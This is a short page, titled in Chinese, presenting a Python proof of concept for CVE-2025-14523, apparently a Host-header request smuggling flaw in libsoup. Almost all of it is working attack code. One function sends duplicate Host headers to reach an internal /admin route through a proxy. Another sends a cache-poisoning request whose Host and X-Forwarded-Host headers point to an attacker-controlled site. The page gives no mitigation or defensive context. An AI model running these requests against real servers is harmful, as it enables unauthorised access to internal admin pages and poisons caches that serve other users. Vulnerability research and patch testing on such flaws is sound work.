CVE-2025-14523: libsoup HTTP Host头处理导致的请求走私漏洞

import socket def exploit_cve_2025_14523(target_host, target_port=80): """ PoC for CVE-2025-14523 - libsoup Host header smuggling This demonstrates the vulnerability where multiple Host headers cause routing confusion between proxy and backend. """ # Craft HTTP request with multiple Host headers # First Host: used by proxy for routing # Second Host: used by vulnerable libsoup backend request = ( "GET /admin HTTP/1.1\r\n" "Host: public-proxy-route.example.com\r\n" # Proxy uses this "Host: admin-internal.example.com\r\n" # libsoup uses this (vulnerability) "User-Agent: Mozilla/5.0\r\n" "Accept: */*\r\n" "Connection: close\r\n" "\r\n" ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) sock.send(request.encode()) response = sock.recv(4096) sock.close() return response.decode('utf-8', errors='ignore') except Exception as e: return f"Error: {str(e)}" def cache_poisoning_poc(target_host, target_port=80): """ Cache poisoning attack using Host header confusion """ request = ( "GET /static/image.png HTTP/1.1\r\n" "Host: victim-site.com\r\n" "Host: attacker-controlled-site.com\r\n" "User-Agent: Mozilla/5.0\r\n" "X-Forwarded-Host: attacker-controlled-site.com\r\n" "\r\n" ) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) sock.send(request.encode()) response = sock.recv(8192) sock.close() return response